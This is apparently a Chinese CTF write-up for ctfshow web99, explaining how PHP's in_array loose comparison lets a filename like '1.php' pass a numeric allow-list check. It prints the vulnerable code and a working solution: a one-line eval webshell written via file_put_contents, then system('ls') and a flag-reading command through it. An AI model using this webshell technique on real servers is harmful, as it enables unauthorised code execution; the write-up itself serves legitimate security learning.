[ctfshow web入门]web99 in_array的弱比较漏洞

信息收集

array_push(array, value):向数组最后的位置插入value

in_array(value, array, type):其中value是要查找的值,array是需要查找的的数组,type是查找的类型,如果没有指定类型,则以弱比较方式查找

in_array存在一个弱比较漏洞,也就是当type设置时,且value的类型与数组数据内容类型不同时,value会被转化为数组数据的类型。此时如果value是字符串,而array数据类型是int,那么字符串会被转化为int

php 复制代码
highlight_file(__FILE__);
// 生成一个数组
$allow = array();
// 遍历 36 到 0x36d;0x36d = 877
// 向数组插入元素,随机数1到最多877
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
// 查询是否存在$_GET['n'],如果存在则以$_GET['n']为文件名写入$_POST['content']
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

解题

由于in_array未设置type,我们构造?n=1.php,此时in_array比较时,1.php被强制类型转化为int,也就是1,1大概率存在于数组中,此时我们向1.php写入一句话木马即可

s 复制代码
?n=1.php
post:
content=<?php eval($_GET[cmd]);?>

再访问我们的木马文件,获取目录和flag

s 复制代码
1.php?cmd=system('ls');
1.php?cmd=system('tac flag36d.php');

web    目录    web

相关推荐
Chengbei1126 分钟前
轻量化 Web 安全日志分析神器 星川智盾日志威胁检测、地理溯源、MITRE ATT&CK 映射,支持 Windows/macOS/Linux
前端·人工智能·安全·web安全·macos·系统安全·安全架构
代码飞天1 小时前
CTF之内存取证——瞬息万变成为一瞬
安全·web安全·缓存
niucloud-admin1 小时前
PHP V6 单商户常见问题——云编译报错处理
php
探索者011 小时前
文件上传漏洞指南:原理+绕过手法与靶场实战
安全·web安全·文件上传
xxjj998a1 小时前
Laravel 1.x:PHP框架的原始魅力
android·php·laravel
xxjj998a1 小时前
Laravel 5.x版本核心特性全解析
php·laravel
ybdesire2 小时前
间接提示词注入真实样例鉴赏
网络安全·语言模型·漏洞·漏洞分析
魔极客2 小时前
第十二节:龙晰 AnolisOS-23.4-x86_64.qcow2 虚拟机的网络配置方式及 ssh 连接
网络·ssh·php
dog25017 小时前
圆锥曲线和二次曲线
开发语言·网络·人工智能·算法·php
vortex518 小时前
python 库劫持:原理、利用与防御
python·网络安全·提权